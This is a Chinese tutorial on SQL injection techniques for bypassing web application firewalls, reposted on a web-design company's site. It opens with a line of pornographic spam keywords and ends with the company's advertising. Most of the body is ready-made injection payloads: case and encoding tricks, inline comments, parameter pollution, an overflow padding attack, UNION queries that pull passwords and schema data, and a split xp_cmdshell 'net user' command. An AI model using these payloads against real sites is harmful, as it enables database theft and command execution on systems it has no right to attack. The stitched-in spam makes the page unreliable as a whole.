真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

web安全中SQL注入繞過技術(shù)怎么實(shí)現(xiàn)

本篇內(nèi)容介紹了“web安全中SQL注入繞過技術(shù)怎么實(shí)現(xiàn)”的有關(guān)知識(shí),在實(shí)際案例的操作過程中,不少人都會(huì)遇到這樣的困境,接下來就讓小編帶領(lǐng)大家學(xué)習(xí)一下如何處理這些情況吧!希望大家仔細(xì)閱讀,能夠?qū)W有所成!

成都一家集口碑和實(shí)力的網(wǎng)站建設(shè)服務(wù)商,擁有專業(yè)的企業(yè)建站團(tuán)隊(duì)和靠譜的建站技術(shù),10多年企業(yè)及個(gè)人網(wǎng)站建設(shè)經(jīng)驗(yàn) ,為成都成百上千家客戶提供網(wǎng)頁(yè)設(shè)計(jì)制作,網(wǎng)站開發(fā),企業(yè)網(wǎng)站制作建設(shè)等服務(wù),包括成都營(yíng)銷型網(wǎng)站建設(shè),品牌網(wǎng)站建設(shè),同時(shí)也為不同行業(yè)的客戶提供成都網(wǎng)站設(shè)計(jì)、成都網(wǎng)站建設(shè)的服務(wù),包括成都電商型網(wǎng)站制作建設(shè),裝修行業(yè)網(wǎng)站制作建設(shè),傳統(tǒng)機(jī)械行業(yè)網(wǎng)站建設(shè),傳統(tǒng)農(nóng)業(yè)行業(yè)網(wǎng)站制作建設(shè)。在成都做網(wǎng)站,選網(wǎng)站制作建設(shè)服務(wù)商就選創(chuàng)新互聯(lián)建站

0x1 WAF的常見特征

之所以要談到WAF的常見特征,是為了更好的了解WAF的運(yùn)行機(jī)制,這樣就能增加幾分繞過的機(jī)會(huì)了。本文不對(duì)WAF做詳細(xì)介紹,只談及幾點(diǎn)相關(guān)的。

總體來說,WAF(Web Application Firewall)的具有以下四個(gè)方面的功能:

\1. 審計(jì)設(shè)備:用來截獲所有HTTP數(shù)據(jù)或者僅僅滿足某些規(guī)則的會(huì)話

\2. 訪問控制設(shè)備:用來控制對(duì)Web應(yīng)用的訪問,既包括主動(dòng)安全模式也包括被動(dòng)安全模式

\3. 架構(gòu)/網(wǎng)絡(luò)設(shè)計(jì)工具:當(dāng)運(yùn)行在反向代理模式,他們被用來分配職能,集中控制,虛擬基礎(chǔ)結(jié)構(gòu)等。

\4. WEB應(yīng)用加固工具:這些功能增強(qiáng)被保護(hù)Web應(yīng)用的安全性,它不僅能夠屏蔽WEB應(yīng)用固有弱點(diǎn),而且能夠保護(hù)WEB應(yīng)用編程錯(cuò)誤導(dǎo)致的安全隱患。

WAF的常見特點(diǎn):

異常檢測(cè)協(xié)議:拒絕不符合HTTP標(biāo)準(zhǔn)的請(qǐng)求

增強(qiáng)的輸入驗(yàn)證:代理和服務(wù)端的驗(yàn)證,而不只是限于客戶端驗(yàn)證

白名單&黑名單:白名單適用于穩(wěn)定的We應(yīng)用,黑名單適合處理已知問題

基于規(guī)則和基于異常的保護(hù):基于規(guī)則更多的依賴黑名單機(jī)制,基于異常更為靈活

狀態(tài)管理:重點(diǎn)進(jìn)行會(huì)話保護(hù)

另還有:Coikies保護(hù)、抗入侵規(guī)避技術(shù)、響應(yīng)監(jiān)視和信息泄露保護(hù)等

如果是對(duì)于掃描器,WAF有其識(shí)別之道:

掃描器識(shí)別主要由以下幾點(diǎn):

1) 掃描器指紋(head字段/請(qǐng)求參數(shù)值),以wvs為例,會(huì)有很明顯的Acunetix在內(nèi)的標(biāo)識(shí)

2)  單IP+ cookie某時(shí)間段內(nèi)觸發(fā)規(guī)則次數(shù)

3)  隱藏的鏈接標(biāo)簽等()

4)  Cookie植入

5)  驗(yàn)證碼驗(yàn)證,掃描器無法自動(dòng)填充驗(yàn)證碼

6)  單IP請(qǐng)求時(shí)間段內(nèi)Webserver返回http狀態(tài)404比例, 掃描器探測(cè)敏感目錄基于字典,找不到文件則返回404

0x2 繞過WAF的方法

從目前能找到的資料來看,我把這些繞過waf的技術(shù)分為9類,包含從初級(jí)到高級(jí)技巧

a) 大小寫混合

b)替換關(guān)鍵字

c)使用編碼

d)使用注釋

e)等價(jià)函數(shù)與命令

f)特殊符號(hào)

g)HTTP參數(shù)控制

h)緩沖區(qū)溢出

i)整合繞過

a) 大小寫繞過

大小寫繞過用于只針對(duì)小寫或大寫的關(guān)鍵字匹配技術(shù),正則表達(dá)式/express/i 大小寫不敏感即無法繞過,這是最簡(jiǎn)單的繞過技術(shù)

舉例:z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4

示例場(chǎng)景可能的情況為filter的規(guī)則里有對(duì)大小寫轉(zhuǎn)換的處理,但不是每個(gè)關(guān)鍵字或每種情況都有處理

b)替換關(guān)鍵字

這種情況下大小寫轉(zhuǎn)化無法繞過,而且正則表達(dá)式會(huì)替換或刪除select、union這些關(guān)鍵字,如果只匹配一次就很容易繞過

舉例:z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4

同樣是很基礎(chǔ)的技術(shù),有些時(shí)候甚至構(gòu)造得更復(fù)雜:SeLSeselectleCTecT,不建議對(duì)此抱太大期望

c)使用編碼

1.URL編碼

在Chrome中輸入一個(gè)連接,非保留字的字符瀏覽器會(huì)對(duì)其URL編碼,如空格變?yōu)?20、單引號(hào)%27、左括號(hào)%28、右括號(hào)%29

普通的URL編碼可能無法實(shí)現(xiàn)繞過,還存在一種情況URL編碼只進(jìn)行了一次過濾,可以用兩次編碼繞過:page.php?id=1%252f%252a*/UNION%252f%252a /SELECT

2.十六進(jìn)制編碼

舉例:z.com/index.php?page_id=-15 /!u%6eion/ /!se%6cect/ 1,2,3,4…

SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

示例代碼中,前者是對(duì)單個(gè)字符十六進(jìn)制編碼,后者則是對(duì)整個(gè)字符串編碼,使用上來說較少見一點(diǎn)

3.Unicode編碼

Unicode有所謂的標(biāo)準(zhǔn)編碼和非標(biāo)準(zhǔn)編碼,假設(shè)我們用的utf-8為標(biāo)準(zhǔn)編碼,那么西歐語系所使用的就是非標(biāo)準(zhǔn)編碼了

看一下常用的幾個(gè)符號(hào)的一些Unicode編碼:

單引號(hào):   %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7

空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0

左括號(hào):%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8

右括號(hào):%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

舉例:?id=10%D6‘%20AND%201=2%23

SELECT '?'='A'; #1

兩個(gè)示例中,前者利用雙字節(jié)繞過,比如對(duì)單引號(hào)轉(zhuǎn)義操作變成',那么就變成了%D6%5C',%D6%5C構(gòu)成了一個(gè)款字節(jié)即Unicode字節(jié),單引號(hào)可以正常使用

第二個(gè)示例使用的是兩種不同編碼的字符的比較,它們比較的結(jié)果可能是True或者False,關(guān)鍵在于Unicode編碼種類繁多,基于黑名單的過濾器無法處理所以情況,從而實(shí)現(xiàn)繞過

另外平時(shí)聽得多一點(diǎn)的可能是utf-7的繞過,還有utf-16、utf-32的繞過,后者從成功的實(shí)現(xiàn)對(duì)google的繞過,有興趣的朋友可以去了解下

常見的編碼當(dāng)然還有二進(jìn)制、八進(jìn)制,它們不一定都派得上用場(chǎng),但后面會(huì)提到使用二進(jìn)制的例子

d) 使用注釋

看一下常見的用于注釋的符號(hào)有哪些://, -- , /**/, #, --+,--  -, ;**,--a

1.普通注釋

舉例:z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4 

'union%a0select pass from users#

/**/在構(gòu)造得查詢語句中插入注釋,規(guī)避對(duì)空格的依賴或關(guān)鍵字識(shí)別;#、--+用于終結(jié)語句的查詢

2.內(nèi)聯(lián)注釋

相比普通注釋,內(nèi)聯(lián)注釋用的更多,它有一個(gè)特性/!**/只有MySQL能識(shí)別

舉例:index.php?page_id=-15 /!UNION/ /!SELECT/ 1,2,3

?page_id=null%0A///!50000%55nIOn//yoyu/all//%0A/!%53eLEct/%0A/nnaa/+1,2,3,4…

兩個(gè)示例中前者使用內(nèi)聯(lián)注釋,后者還用到了普通注釋。使用注釋一個(gè)很有用的做法便是對(duì)關(guān)鍵字的拆分,要做到這一點(diǎn)后面討論的特殊符號(hào)也能實(shí)現(xiàn),當(dāng)然前提是包括/、*在內(nèi)的這些字符能正常使用

e)等價(jià)函數(shù)與命令

有些函數(shù)或命令因其關(guān)鍵字被檢測(cè)出來而無法使用,但是在很多情況下可以使用與之等價(jià)或類似的代碼替代其使用

1.函數(shù)或變量

hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

舉例:substring()和substr()無法使用時(shí):?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 

或者:substr((select 'password'),1,1) = 0x70

strcmp(left('password',1), 0x69) = 1

  strcmp(left('password',1), 0x70) = 0

strcmp(left('password',1), 0x71) = -1

上述這幾個(gè)示例用于說明有時(shí)候當(dāng)某個(gè)函數(shù)不能使用時(shí),還可以找到其他的函數(shù)替代其實(shí)現(xiàn),置于select、uinon、where等關(guān)鍵字被限制如何處理將在后面filter部分討論

2.符號(hào)

and和or有可能不能使用,或者可以試下&&和||能不能用;還有=不能使用的情況,可以考慮嘗試<、>,因?yàn)槿绻恍∮谟植淮笥?,那邊是等于?/p>

在看一下用得多的空格,可以使用如下符號(hào)表示其作用:%20 %09 %0a %0b %0c %0d %a0 /**/

3.生僻函數(shù)

MySQL/PostgreSQL支持XML函數(shù):Select UpdateXML(‘ ’,’/script/@x/’,’src=//evil.com’);        

?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))

SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql

?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

MySQL、PostgreSQL、Oracle它們都有許多自己的函數(shù),基于黑名單的filter要想涵蓋這么多東西從實(shí)際上來說不太可能,而且代價(jià)太大,看來黑名單技術(shù)到一定程度便遇到了限制

f) 特殊符號(hào)

這里我把非字母數(shù)字的字符都規(guī)在了特殊符號(hào)一類,特殊符號(hào)有特殊的含義和用法,涉及信息量比前面提到的幾種都要多

先看下烏云drops上“waf的繞過技巧”一文使用的幾個(gè)例子:

1.使用反引號(hào),例如selectversion()`,可以用來過空格和正則,特殊情況下還可以將其做注釋符用

2.神奇的"-+.",select+id-1+1.from users; “+”是用于字符串連接的,”-”和”.”在此也用于連接,可以逃過空格和關(guān)鍵字過濾

3.@符號(hào),select@^1.from users; @用于變量定義如@var_name,一個(gè)@表示用戶定義,@@表示系統(tǒng)變量

4.Mysql function() as xxx  也可不用as和空格   select-count(id)test from users;  //繞過空格限制

可見,使用這些字符的確是能做很多事,也證實(shí)了那句老話,只有想不到,沒有做不到

本人搜羅了部分可能發(fā)揮大作用的字符(未包括'、*、/等在內(nèi),考慮到前面已經(jīng)出現(xiàn)較多次了):`、~、!、@、%、()、[]、.、-、+ 、|、%00

舉例:

關(guān)鍵字拆分:‘se’+’lec’+’t’

%S%E%L%E%C%T 1

1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)

!和():' or --+2=- -!!!'2

id=1+(UnI)(oN)+(SeL)(EcT) //另 Access中,”[]”用于表和列,”()”用于數(shù)值也可以做分隔

本節(jié)最后在給出一些和這些字符多少有點(diǎn)關(guān)系的操作符供參考:

>>, <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN

使用這些"特殊符號(hào)"實(shí)現(xiàn)繞過是一件很細(xì)微的事情,一方面各家數(shù)據(jù)庫(kù)對(duì)有效符號(hào)的處理是不一樣的,另一方面你得充分了解這些符號(hào)的特性和使用方法才能作為繞過手段

g) HTTP參數(shù)控制

這里HTTP參數(shù)控制除了對(duì)查詢語句的參數(shù)進(jìn)行篡改,還包括HTTP方法、HTTP頭的控制

1.HPP(HTTP Parameter Polution)

舉例:/?id=1;select+1,2,3+from+users+where+id=1—

/?id=1;select+1&id=2,3+from+users+where+id=1—

/?id=1/*/union/&id=/select/&id=/pwd/&id=/from/&id=*/users

HPP又稱做重復(fù)參數(shù)污染,最簡(jiǎn)單的就是?uid=1&uid=2&uid=3,對(duì)于這種情況,不同的Web服務(wù)器處理方式如下:

web安全中SQL注入繞過技術(shù)怎么實(shí)現(xiàn)

具體WAF如何處理,要看其設(shè)置的規(guī)則,不過就示例中最后一個(gè)來看有較大可能繞過

2.HPF(HTTP Parameter Fragment)

這種方法是HTTP分割注入,同CRLF有相似之處(使用控制字符%0a、%0d等執(zhí)行換行)

舉例: 

/?a=1+union/&b=/select+1,pass/&c=/from+users--

select * from table where a=1 union/* and b=/select 1,pass/ limit */from users—

看罷上面兩個(gè)示例,發(fā)現(xiàn)和HPP最后一個(gè)示例很像,不同之處在于參數(shù)不一樣,這里是在不同的參數(shù)之間進(jìn)行分割,到了數(shù)據(jù)庫(kù)執(zhí)行查詢時(shí)再合并語句。

3.HPC(HTTP Parameter Contamination)

這一概念見于exploit-db上的paper:Beyond SQLi: Obfuscate and Bypass,Contamination同樣意為污染

RFC2396定義了如下一些字符:

Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' () Reserved : ; / ? : @ & = + $ , Unwise : { } | \ ^ [ ] `

不同的Web服務(wù)器處理處理構(gòu)造得特殊請(qǐng)求時(shí)有不同的邏輯:

web安全中SQL注入繞過技術(shù)怎么實(shí)現(xiàn)

以魔術(shù)字符%為例,Asp/Asp.net會(huì)受到影響

web安全中SQL注入繞過技術(shù)怎么實(shí)現(xiàn)

h) 緩沖區(qū)溢出(Advanced)

緩沖區(qū)溢出用于對(duì)付WAF,有不少WAF是C語言寫的,而C語言自身沒有緩沖區(qū)保護(hù)機(jī)制,因此如果WAF在處理測(cè)試向量時(shí)超出了其緩沖區(qū)長(zhǎng)度,就會(huì)引發(fā)bug從而實(shí)現(xiàn)繞過

舉例:

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

示例0xA*1000指0xA后面”A"重復(fù)1000次,一般來說對(duì)應(yīng)用軟件構(gòu)成緩沖區(qū)溢出都需要較大的測(cè)試長(zhǎng)度,這里1000只做參考,在某些情況下可能不需要這么長(zhǎng)也能溢出

i) 整合繞過

整合的意思是結(jié)合使用前面談到的各種繞過技術(shù),單一的技術(shù)可能無法繞過過濾機(jī)制,但是多種技術(shù)的配合使用成功的可能性就會(huì)增加不少了。這一方面來說是總體與局部和的關(guān)系,另一方面則是多種技術(shù)的使用創(chuàng)造了更多的可能性,除非每一種技術(shù)單獨(dú)都無法使用,否則它們能產(chǎn)生比自身大得多的能量。

舉例:

z.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…

id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -

?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--

“web安全中SQL注入繞過技術(shù)怎么實(shí)現(xiàn)”的內(nèi)容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關(guān)的知識(shí)可以關(guān)注創(chuàng)新互聯(lián)網(wǎng)站,小編將為大家輸出更多高質(zhì)量的實(shí)用文章!


網(wǎng)站題目:web安全中SQL注入繞過技術(shù)怎么實(shí)現(xiàn)
網(wǎng)站路徑:http://weahome.cn/article/ppgeip.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部